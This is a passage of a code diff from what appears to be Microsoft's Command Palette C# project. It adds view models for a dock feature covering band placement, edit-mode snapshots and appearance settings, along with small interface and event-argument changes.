public TaskScheduler Scheduler { get; }
public ObservableCollection<DockBandViewModel> StartItems { get; } = new();
public ObservableCollection<DockBandViewModel> CenterItems { get; } = new();
public ObservableCollection<DockBandViewModel> EndItems { get; } = new();
public ObservableCollection<TopLevelViewModel> AllItems => _topLevelCommandManager.DockBands;
public DockViewModel(
TopLevelCommandManager tlcManager,
IContextMenuFactory contextMenuFactory,
SettingsModel settings,
TaskScheduler scheduler)
{
_topLevelCommandManager = tlcManager;
_contextMenuFactory = contextMenuFactory;
_settingsModel = settings;
_settings = settings.DockSettings;
Scheduler = scheduler;
_pageContext = new(this);
_topLevelCommandManager.DockBands.CollectionChanged += DockBands_CollectionChanged;
EmitDockConfiguration();
}
private void DockBands_CollectionChanged(object? sender, System.Collections.Specialized.NotifyCollectionChangedEventArgs e)
{
Logger.LogDebug("Starting DockBands_CollectionChanged");
SetupBands();
Logger.LogDebug("Ended DockBands_CollectionChanged");
}
public void UpdateSettings(DockSettings settings)
{
Logger.LogDebug($"DockViewModel.UpdateSettings");
_settings = settings;
SetupBands();
}
private void SetupBands()
{
Logger.LogDebug($"Setting up dock bands");
SetupBands(_settings.StartBands, StartItems);
SetupBands(_settings.CenterBands, CenterItems);
SetupBands(_settings.EndBands, EndItems);
}
private void SetupBands(
List<DockBandSettings> bands,
ObservableCollection<DockBandViewModel> target)
{
List<DockBandViewModel> newBands = new();
foreach (var band in bands)
{
var commandId = band.CommandId;
var topLevelCommand = _topLevelCommandManager.LookupDockBand(commandId);
if (topLevelCommand is null)
{
Logger.LogWarning($"Failed to find band {commandId}");
}
if (topLevelCommand is not null)
{
// note: CreateBandItem doesn't actually initialize the band, it
// just creates the VM. Callers need to make sure to call
// InitializeProperties() on a BG thread elsewhere
var bandVm = CreateBandItem(band, topLevelCommand.ItemViewModel);
newBands.Add(bandVm);
}
}
var beforeCount = target.Count;
var afterCount = newBands.Count;
DoOnUiThread(() =>
{
List<DockBandViewModel> removed = new();
ListHelpers.InPlaceUpdateList(target, newBands, out removed);
var isStartBand = target == StartItems;
var label = isStartBand ? "Start bands:" : "End bands:";
Logger.LogDebug($"{label} ({beforeCount}) -> ({afterCount}), Removed {removed?.Count ?? 0} items");
// then, back to a BG thread:
Task.Run(() =>
{
if (removed is not null)
{
foreach (var removedItem in removed)
{
removedItem.SafeCleanup();
}
}
});
});
// Initialize properties on BG thread
Task.Run(() =>
{
foreach (var band in newBands)
{
band.SafeInitializePropertiesSynchronous();
}
});
}
/// <summary>
/// Instantiate a new band view model for this CommandItem, given the
/// settings. The DockBandViewModel will _not_ be initialized - callers
/// will need to make sure to initialize it somewhere else (off the UI
/// thread)
/// </summary>
private DockBandViewModel CreateBandItem(
DockBandSettings bandSettings,
CommandItemViewModel commandItem)
{
DockBandViewModel band = new(commandItem, commandItem.PageContext, bandSettings, _settings, SaveSettings, _contextMenuFactory);
// the band is NOT initialized here!
return band;
}
private void SaveSettings()
{
SettingsModel.SaveSettings(_settingsModel);
}
public DockBandViewModel? FindBandByTopLevel(TopLevelViewModel tlc)
{
var id = tlc.Id;
return FindBandById(id);
}
public DockBandViewModel? FindBandById(string id)
{
foreach (var band in StartItems)
{
if (band.Id == id)
{
return band;
}
}
foreach (var band in CenterItems)
{
if (band.Id == id)
{
return band;
}
}
foreach (var band in EndItems)
{
if (band.Id == id)
{
return band;
}
}
return null;
}
/// <summary>
/// Syncs the band position in settings after a same-list reorder.
/// Does not save to disk - call SaveBandOrder() when done editing.
/// </summary>
public void SyncBandPosition(DockBandViewModel band, DockPinSide targetSide, int targetIndex)
{
var bandId = band.Id;
var dockSettings = _settingsModel.DockSettings;
var bandSettings = dockSettings.StartBands.FirstOrDefault(b => b.CommandId == bandId)
?? dockSettings.CenterBands.FirstOrDefault(b => b.CommandId == bandId)
?? dockSettings.EndBands.FirstOrDefault(b => b.CommandId == bandId);
if (bandSettings == null)
{
return;
}
// Remove from all settings lists
dockSettings.StartBands.RemoveAll(b => b.CommandId == bandId);
dockSettings.CenterBands.RemoveAll(b => b.CommandId == bandId);
dockSettings.EndBands.RemoveAll(b => b.CommandId == bandId);
// Add to target settings list at the correct index
var targetSettings = targetSide switch
{
DockPinSide.Start => dockSettings.StartBands,
DockPinSide.Center => dockSettings.CenterBands,
DockPinSide.End => dockSettings.EndBands,
_ => dockSettings.StartBands,
};
var insertIndex = Math.Min(targetIndex, targetSettings.Count);
targetSettings.Insert(insertIndex, bandSettings);
}
/// <summary>
/// Moves a dock band to a new position (cross-list drop).
/// Does not save to disk - call SaveBandOrder() when done editing.
/// </summary>
public void MoveBandWithoutSaving(DockBandViewModel band, DockPinSide targetSide, int targetIndex)
{
var bandId = band.Id;
var dockSettings = _settingsModel.DockSettings;
var bandSettings = dockSettings.StartBands.FirstOrDefault(b => b.CommandId == bandId)
?? dockSettings.CenterBands.FirstOrDefault(b => b.CommandId == bandId)
?? dockSettings.EndBands.FirstOrDefault(b => b.CommandId == bandId);
if (bandSettings == null)
{
Logger.LogWarning($"Could not find band settings for band {bandId}");
return;
}
// Remove from all sides (settings and UI)
dockSettings.StartBands.RemoveAll(b => b.CommandId == bandId);
dockSettings.CenterBands.RemoveAll(b => b.CommandId == bandId);
dockSettings.EndBands.RemoveAll(b => b.CommandId == bandId);
StartItems.Remove(band);
CenterItems.Remove(band);
EndItems.Remove(band);
// Add to the target side at the specified index
switch (targetSide)
{
case DockPinSide.Start:
{
var settingsIndex = Math.Min(targetIndex, dockSettings.StartBands.Count);
dockSettings.StartBands.Insert(settingsIndex, bandSettings);
var uiIndex = Math.Min(targetIndex, StartItems.Count);
StartItems.Insert(uiIndex, band);
break;
}
case DockPinSide.Center:
{
var settingsIndex = Math.Min(targetIndex, dockSettings.CenterBands.Count);
dockSettings.CenterBands.Insert(settingsIndex, bandSettings);
var uiIndex = Math.Min(targetIndex, CenterItems.Count);
CenterItems.Insert(uiIndex, band);
break;
}
case DockPinSide.End:
{
var settingsIndex = Math.Min(targetIndex, dockSettings.EndBands.Count);
dockSettings.EndBands.Insert(settingsIndex, bandSettings);
var uiIndex = Math.Min(targetIndex, EndItems.Count);
EndItems.Insert(uiIndex, band);
break;
}
}
Logger.LogDebug($"Moved band {bandId} to {targetSide} at index {targetIndex} (not saved yet)");
}
/// <summary>
/// Saves the current band order and label settings to settings.
/// Call this when exiting edit mode.
/// </summary>
public void SaveBandOrder()
{
// Save ShowLabels for all bands
foreach (var band in StartItems.Concat(CenterItems).Concat(EndItems))
{
band.SaveShowLabels();
}
_snapshotStartBands = null;
_snapshotCenterBands = null;
_snapshotEndBands = null;
_snapshotBandViewModels = null;
SettingsModel.SaveSettings(_settingsModel);
Logger.LogDebug("Saved band order to settings");
}
private List<DockBandSettings>? _snapshotStartBands;
private List<DockBandSettings>? _snapshotCenterBands;
private List<DockBandSettings>? _snapshotEndBands;
private Dictionary<string, DockBandViewModel>? _snapshotBandViewModels;
/// <summary>
/// Takes a snapshot of the current band order and label settings before editing.
/// Call this when entering edit mode.
/// </summary>
public void SnapshotBandOrder()
{
var dockSettings = _settingsModel.DockSettings;
_snapshotStartBands = dockSettings.StartBands.Select(b => b.Clone()).ToList();
_snapshotCenterBands = dockSettings.CenterBands.Select(b => b.Clone()).ToList();
_snapshotEndBands = dockSettings.EndBands.Select(b => b.Clone()).ToList();
// Snapshot band ViewModels so we can restore unpinned bands
// Use a dictionary but handle potential duplicates gracefully
_snapshotBandViewModels = new Dictionary<string, DockBandViewModel>();
foreach (var band in StartItems.Concat(CenterItems).Concat(EndItems))
{
_snapshotBandViewModels.TryAdd(band.Id, band);
}
// Snapshot ShowLabels for all bands
foreach (var band in _snapshotBandViewModels.Values)
{
band.SnapshotShowLabels();
}
Logger.LogDebug($"Snapshot taken: {_snapshotStartBands.Count} start bands, {_snapshotCenterBands.Count} center bands, {_snapshotEndBands.Count} end bands");
}
/// <summary>
/// Restores the band order and label settings from the snapshot taken when entering edit mode.
/// Call this when discarding edit mode changes.
/// </summary>
public void RestoreBandOrder()
{
if (_snapshotStartBands == null ||
_snapshotCenterBands == null ||
_snapshotEndBands == null || _snapshotBandViewModels == null)
{
Logger.LogWarning("No snapshot to restore from");
return;
}
// Restore ShowLabels for all snapshotted bands
foreach (var band in _snapshotBandViewModels.Values)
{
band.RestoreShowLabels();
}
var dockSettings = _settingsModel.DockSettings;
// Restore settings from snapshot
dockSettings.StartBands.Clear();
dockSettings.CenterBands.Clear();
dockSettings.EndBands.Clear();
foreach (var bandSnapshot in _snapshotStartBands)
{
var bandSettings = bandSnapshot.Clone();
dockSettings.StartBands.Add(bandSettings);
}
foreach (var bandSnapshot in _snapshotCenterBands)
{
var bandSettings = bandSnapshot.Clone();
dockSettings.CenterBands.Add(bandSettings);
}
foreach (var bandSnapshot in _snapshotEndBands)
{
var bandSettings = bandSnapshot.Clone();
dockSettings.EndBands.Add(bandSettings);
}
// Rebuild UI collections from restored settings using the snapshotted ViewModels
RebuildUICollectionsFromSnapshot();
_snapshotStartBands = null;
_snapshotCenterBands = null;
_snapshotEndBands = null;
_snapshotBandViewModels = null;
Logger.LogDebug("Restored band order from snapshot");
}
private void RebuildUICollectionsFromSnapshot()
{
if (_snapshotBandViewModels == null)
{
return;
}
var dockSettings = _settingsModel.DockSettings;
StartItems.Clear();
CenterItems.Clear();
EndItems.Clear();
foreach (var bandSettings in dockSettings.StartBands)
{
if (_snapshotBandViewModels.TryGetValue(bandSettings.CommandId, out var bandVM))
{
StartItems.Add(bandVM);
}
}
foreach (var bandSettings in dockSettings.CenterBands)
{
if (_snapshotBandViewModels.TryGetValue(bandSettings.CommandId, out var bandVM))
{
CenterItems.Add(bandVM);
}
}
foreach (var bandSettings in dockSettings.EndBands)
{
if (_snapshotBandViewModels.TryGetValue(bandSettings.CommandId, out var bandVM))
{
EndItems.Add(bandVM);
}
}
}
private void RebuildUICollections()
{
var dockSettings = _settingsModel.DockSettings;
// Create a lookup of all current band ViewModels
var allBands = StartItems.Concat(CenterItems).Concat(EndItems).ToDictionary(b => b.Id);
StartItems.Clear();
CenterItems.Clear();
EndItems.Clear();
foreach (var bandSettings in dockSettings.StartBands)
{
if (allBands.TryGetValue(bandSettings.CommandId, out var bandVM))
{
StartItems.Add(bandVM);
}
}
foreach (var bandSettings in dockSettings.CenterBands)
{
if (allBands.TryGetValue(bandSettings.CommandId, out var bandVM))
{
CenterItems.Add(bandVM);
}
}
foreach (var bandSettings in dockSettings.EndBands)
{
if (allBands.TryGetValue(bandSettings.CommandId, out var bandVM))
{
EndItems.Add(bandVM);
}
}
}
/// <summary>
/// Gets the list of dock bands that are not currently pinned to any section.
/// </summary>
public IEnumerable<TopLevelViewModel> GetAvailableBandsToAdd()
{
// Get IDs of all bands currently in the dock
var pinnedBandIds = new HashSet<string>();
foreach (var band in StartItems)
{
pinnedBandIds.Add(band.Id);
}
foreach (var band in CenterItems)
{
pinnedBandIds.Add(band.Id);
}
foreach (var band in EndItems)
{
pinnedBandIds.Add(band.Id);
}
// Return all dock bands that are not already pinned
return AllItems.Where(tlc => !pinnedBandIds.Contains(tlc.Id));
}
/// <summary>
/// Adds a band to the specified dock section.
/// Does not save to disk - call SaveBandOrder() when done editing.
/// </summary>
public void AddBandToSection(TopLevelViewModel topLevel, DockPinSide targetSide)
{
var bandId = topLevel.Id;
// Check if already in the dock
if (FindBandById(bandId) != null)
{
Logger.LogWarning($"Band {bandId} is already in the dock");
return;
}
// Create settings for the new band
var bandSettings = new DockBandSettings { ProviderId = topLevel.CommandProviderId, CommandId = bandId, ShowLabels = null };
var dockSettings = _settingsModel.DockSettings;
// Create the band view model
var bandVm = CreateBandItem(bandSettings, topLevel.ItemViewModel);
// Add to the appropriate section
switch (targetSide)
{
case DockPinSide.Start:
dockSettings.StartBands.Add(bandSettings);
StartItems.Add(bandVm);
break;
case DockPinSide.Center:
dockSettings.CenterBands.Add(bandSettings);
CenterItems.Add(bandVm);
break;
case DockPinSide.End:
dockSettings.EndBands.Add(bandSettings);
EndItems.Add(bandVm);
break;
}
// Snapshot the new band so it can be removed on discard
bandVm.SnapshotShowLabels();
Task.Run(() =>
{
bandVm.SafeInitializePropertiesSynchronous();
});
Logger.LogDebug($"Added band {bandId} to {targetSide} (not saved yet)");
}
/// <summary>
/// Unpins a band from the dock, removing it from whichever section it's in.
/// Does not save to disk - call SaveBandOrder() when done editing.
/// </summary>
public void UnpinBand(DockBandViewModel band)
{
var bandId = band.Id;
var dockSettings = _settingsModel.DockSettings;
// Remove from settings
dockSettings.StartBands.RemoveAll(b => b.CommandId == bandId);
dockSettings.CenterBands.RemoveAll(b => b.CommandId == bandId);
dockSettings.EndBands.RemoveAll(b => b.CommandId == bandId);
// Remove from UI collections
StartItems.Remove(band);
CenterItems.Remove(band);
EndItems.Remove(band);
Logger.LogDebug($"Unpinned band {bandId} (not saved yet)");
}
private void DoOnUiThread(Action action)
{
Task.Factory.StartNew(
action,
CancellationToken.None,
TaskCreationOptions.None,
Scheduler);
}
public CommandItemViewModel GetContextMenuForDock()
{
var model = new DockContextMenuItem();
var vm = new CommandItemViewModel(new(model), new(_pageContext), contextMenuFactory: null);
vm.SlowInitializeProperties();
return vm;
}
private sealed partial class DockContextMenuItem : CommandItem
{
public DockContextMenuItem()
{
var editDockCommand = new AnonymousCommand(
action: () =>
{
WeakReferenceMessenger.Default.Send(new EnterDockEditModeMessage());
})
{
Name = Properties.Resources.dock_edit_dock_name,
Icon = Icons.EditIcon,
};
var openSettingsCommand = new AnonymousCommand(
action: () =>
{
WeakReferenceMessenger.Default.Send(new OpenSettingsMessage("Dock"));
})
{
Name = Properties.Resources.dock_settings_name,
Icon = Icons.SettingsIcon,
};
MoreCommands = new CommandContextItem[]
{
new CommandContextItem(editDockCommand),
new CommandContextItem(openSettingsCommand),
};
}
}
private void EmitDockConfiguration()
{
var isDockEnabled = _settingsModel.EnableDock;
var dockSide = isDockEnabled ? _settings.Side.ToString().ToLowerInvariant() : "none";
static string FormatBands(List<DockBandSettings> bands) =>
string.Join("\n", bands.Select(b => $"{b.ProviderId}/{b.CommandId}"));
var startBands = isDockEnabled ? FormatBands(_settings.StartBands) : string.Empty;
var centerBands = isDockEnabled ? FormatBands(_settings.CenterBands) : string.Empty;
var endBands = isDockEnabled ? FormatBands(_settings.EndBands) : string.Empty;
WeakReferenceMessenger.Default.Send(new TelemetryDockConfigurationMessage(
isDockEnabled, dockSide, startBands, centerBands, endBands));
}
/// <summary>
/// Provides an empty page context, for the dock's own context menu. We're
/// building the context menu for the dock using literally our own cmdpal
/// types, but that means we need a page context for the VM we will
/// generate.
/// </summary>
private sealed partial class DockPageContext(DockViewModel dockViewModel) : IPageContext
{
public TaskScheduler Scheduler => dockViewModel.Scheduler;
public ICommandProviderContext ProviderContext => CommandProviderContext.Empty;
public void ShowException(Exception ex, string? extensionHint)
{
var extensionText = extensionHint ?? "<unknown>";
Logger.LogError($"Error in dock context {extensionText}", ex);
}
}
}

View File

@@ -0,0 +1,90 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using CommunityToolkit.Mvvm.ComponentModel;
using Microsoft.CmdPal.UI.ViewModels.Services;
using Microsoft.CmdPal.UI.ViewModels.Settings;
using Microsoft.UI.Dispatching;
using Microsoft.UI.Xaml.Media;
using Windows.UI;
namespace Microsoft.CmdPal.UI.ViewModels.Dock;
public partial class DockWindowViewModel : ObservableObject, IDisposable
{
private readonly IThemeService _themeService;
private readonly DispatcherQueue _uiDispatcherQueue = DispatcherQueue.GetForCurrentThread()!;
[ObservableProperty]
public partial ImageSource? BackgroundImageSource { get; private set; }
[ObservableProperty]
public partial Stretch BackgroundImageStretch { get; private set; } = Stretch.Fill;
[ObservableProperty]
public partial double BackgroundImageOpacity { get; private set; }
[ObservableProperty]
public partial Color BackgroundImageTint { get; private set; }
[ObservableProperty]
public partial double BackgroundImageTintIntensity { get; private set; }
[ObservableProperty]
public partial int BackgroundImageBlurAmount { get; private set; }
[ObservableProperty]
public partial double BackgroundImageBrightness { get; private set; }
[ObservableProperty]
public partial bool ShowBackgroundImage { get; private set; }
[ObservableProperty]
public partial bool ShowColorizationOverlay { get; private set; }
[ObservableProperty]
public partial Color ColorizationColor { get; private set; }
[ObservableProperty]
public partial double ColorizationOpacity { get; private set; }
public DockWindowViewModel(IThemeService themeService)
{
_themeService = themeService;
_themeService.ThemeChanged += ThemeService_ThemeChanged;
UpdateFromThemeSnapshot();
}
private void ThemeService_ThemeChanged(object? sender, ThemeChangedEventArgs e)
{
_uiDispatcherQueue.TryEnqueue(UpdateFromThemeSnapshot);
}
private void UpdateFromThemeSnapshot()
{
var snapshot = _themeService.CurrentDockTheme;
BackgroundImageSource = snapshot.BackgroundImageSource;
BackgroundImageStretch = snapshot.BackgroundImageStretch;
BackgroundImageOpacity = snapshot.BackgroundImageOpacity;
BackgroundImageBrightness = snapshot.BackgroundBrightness;
BackgroundImageTint = snapshot.Tint;
BackgroundImageTintIntensity = snapshot.TintIntensity;
BackgroundImageBlurAmount = snapshot.BlurAmount;
ShowBackgroundImage = BackgroundImageSource != null;
// Colorization overlay for transparent backdrop
ShowColorizationOverlay = snapshot.Backdrop == DockBackdrop.Transparent && snapshot.TintIntensity > 0;
ColorizationColor = snapshot.Tint;
ColorizationOpacity = snapshot.TintIntensity;
}
public void Dispose()
{
_themeService.ThemeChanged -= ThemeService_ThemeChanged;
GC.SuppressFinalize(this);
}
}

View File

@@ -0,0 +1,341 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.ObjectModel;
using CommunityToolkit.Mvvm.ComponentModel;
using CommunityToolkit.Mvvm.Input;
using CommunityToolkit.WinUI;
using Microsoft.CmdPal.UI.ViewModels.Services;
using Microsoft.CmdPal.UI.ViewModels.Settings;
using Microsoft.UI;
using Microsoft.UI.Dispatching;
using Microsoft.UI.Xaml;
using Microsoft.UI.Xaml.Media;
using Windows.UI;
using Windows.UI.ViewManagement;
namespace Microsoft.CmdPal.UI.ViewModels;
/// <summary>
/// View model for dock appearance settings, controlling theme, backdrop, colorization,
/// and background image settings for the dock.
/// </summary>
public sealed partial class DockAppearanceSettingsViewModel : ObservableObject, IDisposable
{
private readonly SettingsModel _settings;
private readonly DockSettings _dockSettings;
private readonly UISettings _uiSettings;
private readonly IThemeService _themeService;
private readonly DispatcherQueueTimer _saveTimer = DispatcherQueue.GetForCurrentThread().CreateTimer();
private readonly DispatcherQueue _uiDispatcher = DispatcherQueue.GetForCurrentThread();
private ElementTheme? _elementThemeOverride;
private Color _currentSystemAccentColor;
public ObservableCollection<Color> Swatches => AppearanceSettingsViewModel.WindowsColorSwatches;
public int ThemeIndex
{
get => (int)_dockSettings.Theme;
set => Theme = (UserTheme)value;
}
public UserTheme Theme
{
get => _dockSettings.Theme;
set
{
if (_dockSettings.Theme != value)
{
_dockSettings.Theme = value;
OnPropertyChanged();
OnPropertyChanged(nameof(ThemeIndex));
Save();
}
}
}
public int BackdropIndex
{
get => (int)_dockSettings.Backdrop;
set => Backdrop = (DockBackdrop)value;
}
public DockBackdrop Backdrop
{
get => _dockSettings.Backdrop;
set
{
if (_dockSettings.Backdrop != value)
{
_dockSettings.Backdrop = value;
OnPropertyChanged();
OnPropertyChanged(nameof(BackdropIndex));
Save();
}
}
}
public ColorizationMode ColorizationMode
{
get => _dockSettings.ColorizationMode;
set
{
if (_dockSettings.ColorizationMode != value)
{
_dockSettings.ColorizationMode = value;
OnPropertyChanged();
OnPropertyChanged(nameof(ColorizationModeIndex));
OnPropertyChanged(nameof(IsCustomTintVisible));
OnPropertyChanged(nameof(IsCustomTintIntensityVisible));
OnPropertyChanged(nameof(IsBackgroundControlsVisible));
OnPropertyChanged(nameof(IsNoBackgroundVisible));
OnPropertyChanged(nameof(IsAccentColorControlsVisible));
if (value == ColorizationMode.WindowsAccentColor)
{
ThemeColor = _currentSystemAccentColor;
}
IsColorizationDetailsExpanded = value != ColorizationMode.None;
Save();
}
}
}
public int ColorizationModeIndex
{
get => (int)_dockSettings.ColorizationMode;
set => ColorizationMode = (ColorizationMode)value;
}
public Color ThemeColor
{
get => _dockSettings.CustomThemeColor;
set
{
if (_dockSettings.CustomThemeColor != value)
{
_dockSettings.CustomThemeColor = value;
OnPropertyChanged();
if (ColorIntensity == 0)
{
ColorIntensity = 100;
}
Save();
}
}
}
public int ColorIntensity
{
get => _dockSettings.CustomThemeColorIntensity;
set
{
_dockSettings.CustomThemeColorIntensity = value;
OnPropertyChanged();
Save();
}
}
public string BackgroundImagePath
{
get => _dockSettings.BackgroundImagePath ?? string.Empty;
set
{
if (_dockSettings.BackgroundImagePath != value)
{
_dockSettings.BackgroundImagePath = value;
OnPropertyChanged();
if (BackgroundImageOpacity == 0)
{
BackgroundImageOpacity = 100;
}
Save();
}
}
}
public int BackgroundImageOpacity
{
get => _dockSettings.BackgroundImageOpacity;
set
{
if (_dockSettings.BackgroundImageOpacity != value)
{
_dockSettings.BackgroundImageOpacity = value;
OnPropertyChanged();
Save();
}
}
}
public int BackgroundImageBrightness
{
get => _dockSettings.BackgroundImageBrightness;
set
{
if (_dockSettings.BackgroundImageBrightness != value)
{
_dockSettings.BackgroundImageBrightness = value;
OnPropertyChanged();
Save();
}
}
}
public int BackgroundImageBlurAmount
{
get => _dockSettings.BackgroundImageBlurAmount;
set
{
if (_dockSettings.BackgroundImageBlurAmount != value)
{
_dockSettings.BackgroundImageBlurAmount = value;
OnPropertyChanged();
Save();
}
}
}
public BackgroundImageFit BackgroundImageFit
{
get => _dockSettings.BackgroundImageFit;
set
{
if (_dockSettings.BackgroundImageFit != value)
{
_dockSettings.BackgroundImageFit = value;
OnPropertyChanged();
OnPropertyChanged(nameof(BackgroundImageFitIndex));
Save();
}
}
}
public int BackgroundImageFitIndex
{
get => BackgroundImageFit switch
{
BackgroundImageFit.Fill => 1,
_ => 0,
};
set => BackgroundImageFit = value switch
{
1 => BackgroundImageFit.Fill,
_ => BackgroundImageFit.UniformToFill,
};
}
[ObservableProperty]
public partial bool IsColorizationDetailsExpanded { get; set; }
public bool IsCustomTintVisible => _dockSettings.ColorizationMode is ColorizationMode.CustomColor or ColorizationMode.Image;
public bool IsCustomTintIntensityVisible => _dockSettings.ColorizationMode is ColorizationMode.CustomColor or ColorizationMode.WindowsAccentColor or ColorizationMode.Image;
public bool IsBackgroundControlsVisible => _dockSettings.ColorizationMode is ColorizationMode.Image;
public bool IsNoBackgroundVisible => _dockSettings.ColorizationMode is ColorizationMode.None;
public bool IsAccentColorControlsVisible => _dockSettings.ColorizationMode is ColorizationMode.WindowsAccentColor;
public ElementTheme EffectiveTheme => _elementThemeOverride ?? _themeService.Current.Theme;
public Color EffectiveThemeColor => ColorizationMode switch
{
ColorizationMode.WindowsAccentColor => _currentSystemAccentColor,
ColorizationMode.CustomColor or ColorizationMode.Image => ThemeColor,
_ => Colors.Transparent,
};
// Since the blur amount is absolute, we need to scale it down for the preview (which is smaller than full screen).
public int EffectiveBackgroundImageBlurAmount => (int)Math.Round(BackgroundImageBlurAmount / 4f);
public double EffectiveBackgroundImageBrightness => BackgroundImageBrightness / 100.0;
public ImageSource? EffectiveBackgroundImageSource =>
ColorizationMode is ColorizationMode.Image
&& !string.IsNullOrWhiteSpace(BackgroundImagePath)
&& Uri.TryCreate(BackgroundImagePath, UriKind.RelativeOrAbsolute, out var uri)
? new Microsoft.UI.Xaml.Media.Imaging.BitmapImage(uri)
: null;
public DockAppearanceSettingsViewModel(IThemeService themeService, SettingsModel settings)
{
_themeService = themeService;
_themeService.ThemeChanged += ThemeServiceOnThemeChanged;
_settings = settings;
_dockSettings = settings.DockSettings;
_uiSettings = new UISettings();
_uiSettings.ColorValuesChanged += UiSettingsOnColorValuesChanged;
UpdateAccentColor(_uiSettings);
Reapply();
IsColorizationDetailsExpanded = _dockSettings.ColorizationMode != ColorizationMode.None;
}
private void UiSettingsOnColorValuesChanged(UISettings sender, object args) => _uiDispatcher.TryEnqueue(() => UpdateAccentColor(sender));
private void UpdateAccentColor(UISettings sender)
{
_currentSystemAccentColor = sender.GetColorValue(UIColorType.Accent);
if (ColorizationMode == ColorizationMode.WindowsAccentColor)
{
ThemeColor = _currentSystemAccentColor;
}
}
private void ThemeServiceOnThemeChanged(object? sender, ThemeChangedEventArgs e)
{
_saveTimer.Debounce(Reapply, TimeSpan.FromMilliseconds(200));
}
private void Save()
{
SettingsModel.SaveSettings(_settings);
_saveTimer.Debounce(Reapply, TimeSpan.FromMilliseconds(200));
}
private void Reapply()
{
OnPropertyChanged(nameof(EffectiveBackgroundImageBrightness));
OnPropertyChanged(nameof(EffectiveBackgroundImageSource));
OnPropertyChanged(nameof(EffectiveThemeColor));
OnPropertyChanged(nameof(EffectiveBackgroundImageBlurAmount));
// LOAD BEARING:
// We need to cycle through the EffectiveTheme property to force reload of resources.
_elementThemeOverride = ElementTheme.Light;
OnPropertyChanged(nameof(EffectiveTheme));
_elementThemeOverride = ElementTheme.Dark;
OnPropertyChanged(nameof(EffectiveTheme));
_elementThemeOverride = null;
OnPropertyChanged(nameof(EffectiveTheme));
}
[RelayCommand]
private void ResetBackgroundImageProperties()
{
BackgroundImageBrightness = 0;
BackgroundImageBlurAmount = 0;
BackgroundImageFit = BackgroundImageFit.UniformToFill;
BackgroundImageOpacity = 100;
ColorIntensity = 0;
}
public void Dispose()
{
_uiSettings.ColorValuesChanged -= UiSettingsOnColorValuesChanged;
_themeService.ThemeChanged -= ThemeServiceOnThemeChanged;
}
}

View File

@@ -59,7 +59,7 @@ public abstract partial class ExtensionObjectViewModel : ObservableObject, IBatc
LogIfDefaultScheduler();
}
private protected ExtensionObjectViewModel(WeakReference<IPageContext> contextRef)
protected ExtensionObjectViewModel(WeakReference<IPageContext> contextRef)
{
ArgumentNullException.ThrowIfNull(contextRef);

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -8,6 +8,8 @@ public class GlobalLogPageContext : IPageContext
{
public TaskScheduler Scheduler { get; private init; }
ICommandProviderContext IPageContext.ProviderContext => CommandProviderContext.Empty;
public void ShowException(Exception ex, string? extensionHint)
{ /*do nothing*/
}

View File

@@ -9,4 +9,9 @@ namespace Microsoft.CmdPal.UI.ViewModels;
public interface IContextMenuFactory
{
List<IContextItemViewModel> UnsafeBuildAndInitMoreCommands(IContextItem[] items, CommandItemViewModel commandItem);
void AddMoreCommandsToTopLevel(
TopLevelViewModel topLevelItem,
ICommandProviderContext providerContext,
List<IContextItem?> contextItems);
}

View File

@@ -0,0 +1,18 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CommandPalette.Extensions.Toolkit;
namespace Microsoft.CmdPal.UI.ViewModels;
public static class Icons
{
public static IconInfo PinIcon => new("\uE718"); // Pin icon
public static IconInfo UnpinIcon => new("\uE77A"); // Unpin icon
public static IconInfo SettingsIcon => new("\uE713"); // Settings icon
public static IconInfo EditIcon => new("\uE70F"); // Edit icon
}

View File

@@ -0,0 +1,15 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.CmdPal.UI.ViewModels;
public sealed partial class ItemsUpdatedEventArgs : EventArgs
{
public bool ForceFirstItem { get; }
public ItemsUpdatedEventArgs(bool forceFirstItem)
{
ForceFirstItem = forceFirstItem;
}
}

View File

@@ -63,7 +63,7 @@ public partial class ListItemViewModel : CommandItemViewModel
}
}
public ListItemViewModel(IListItem model, WeakReference<IPageContext> context, IContextMenuFactory? contextMenuFactory = null)
public ListItemViewModel(IListItem model, WeakReference<IPageContext> context, IContextMenuFactory contextMenuFactory)
: base(new(model), context, contextMenuFactory)
{
Model = new ExtensionObject<IListItem>(model);

View File

@@ -3,8 +3,10 @@
// See the LICENSE file in the project root for more information.
using System.Collections.ObjectModel;
using System.Runtime.CompilerServices;
using CommunityToolkit.Mvvm.Input;
using CommunityToolkit.Mvvm.Messaging;
using Microsoft.CmdPal.Common;
using Microsoft.CmdPal.Common.Helpers;
using Microsoft.CmdPal.UI.ViewModels.Messages;
using Microsoft.CmdPal.UI.ViewModels.Models;
@@ -16,9 +18,10 @@ namespace Microsoft.CmdPal.UI.ViewModels;
public partial class ListViewModel : PageViewModel, IDisposable
{
// private readonly HashSet<ListItemViewModel> _itemCache = [];
private readonly TaskFactory filterTaskFactory = new(new ConcurrentExclusiveSchedulerPair().ExclusiveScheduler);
private readonly Dictionary<IListItem, ListItemViewModel> _vmCache = new(new ProxyReferenceEqualityComparer());
// TODO: Do we want a base "ItemsPageViewModel" for anything that's going to have items?
// Observable from MVVM Toolkit will auto create public properties that use INotifyPropertyChange change
@@ -32,12 +35,12 @@ public partial class ListViewModel : PageViewModel, IDisposable
private readonly ExtensionObject<IListPage> _model;
private readonly Lock _listLock = new();
private readonly IContextMenuFactory? _contextMenuFactory;
private readonly IContextMenuFactory _contextMenuFactory;
private InterlockedBoolean _isLoading;
private bool _isFetching;
public event TypedEventHandler<ListViewModel, object>? ItemsUpdated;
public event TypedEventHandler<ListViewModel, ItemsUpdatedEventArgs>? ItemsUpdated;
public bool ShowEmptyContent =>
IsInitialized &&
@@ -80,6 +83,9 @@ public partial class ListViewModel : PageViewModel, IDisposable
private ListItemViewModel? _lastSelectedItem;
// For cancelling a deferred SafeSlowInit when the user navigates rapidly
private CancellationTokenSource? _selectedItemCts;
public override bool IsInitialized
{
get => base.IsInitialized; protected set
